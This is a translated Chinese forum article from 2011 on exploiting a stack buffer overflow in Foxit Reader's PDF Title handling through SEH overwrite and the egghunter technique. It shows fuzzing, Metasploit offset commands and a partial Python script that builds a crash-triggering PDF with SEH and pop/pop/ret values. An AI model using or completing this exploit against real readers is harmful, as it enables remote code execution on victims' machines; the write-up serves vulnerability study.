-
-
[翻译]Foxit阅读器栈缓冲区溢出—egghunter方法
-
发表于: 2011-3-30 13:22 12060
-
【原文】0a0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3k6G2P5r3W2@1i4K6u0V1M7X3g2S2k6r3g2J5i4K6u0V1M7%4c8S2j5$3E0Q4x3X3c8G2N6X3g2J5k6X3I4G2N6#2)9J5k6r3g2^5M7r3I4G2K9i4c8Q4x3X3c8W2k6$3N6Z5N6h3&6@1k6i4u0Q4x3V1j5`.
在以前,Adobe Reader 的0day可以说是遍地都是,自然地Foix Reader便被认为是比Adobe更为安全的选择。虽然那意味着Foxit的可利用的漏洞不如Adobe多,但是这并不等同于完全没有。
带着探究的目的,笔者就用Microsoft SDL MiniFuzz进行了一些模糊测试。让程序读取了很多文件,当然许多都是黑帽上的白皮纸文件,然后开始不断地测试它。经过几个小时的测试,笔者惊喜的发现了一些崩溃现象,其中有一个崩溃能够导致SEH被覆写。
图1
而下一步,就需要定位出是什么引起了这次崩溃,因此笔者用一个文本编辑器打开了这个pdf文件。如图
图2
由此可以了解到,首先,SHE被0x00E700E7(译者注:Unicode会在字节前面自动加00)覆写,由此可知这是一个Unicode利用程序;其次,程序的崩溃是因为Foxit在清理读入的标题标签的时候的失败导致的。笔者接下来的任务就是定位出来是在字符串的哪里发生了覆写,因此笔者用Metasploit随机生成了10000个字符,然后将它们粘贴进pdf文件中。
# ./pattern_create.rb 10000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab
# ./pattern_offset.rb r9As 10000 538
#!/usr/bin/python preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20... ...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61" lead = "\x41" * 538 nseh = "\x42\x42" seh = "\x43\x43" trailer = "\x44" * 9384 trailer += "\xE7\xE7" trailer += "dookie was here: breaking your pdf reader application" trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A" sploit = preamble + lead + nseh + seh + trailer filename = "foxit_title.pdf" evil = open(filename, 'w') evil.write(sploit) evil.close
... lead = "\x41" * 538 nseh = "\x41\x6d" # Walk over SEH seh = "\x2F\x4D" # p/p/r from app binary ...
赞赏
- [求助]求助upx壳怎么脱 10566
- [求助]关于如何修复输入表 4557
- [求助]能给壳分个级别吗? 3169
- python如何内联汇编啊? 8218
- win7下如何使用od 4912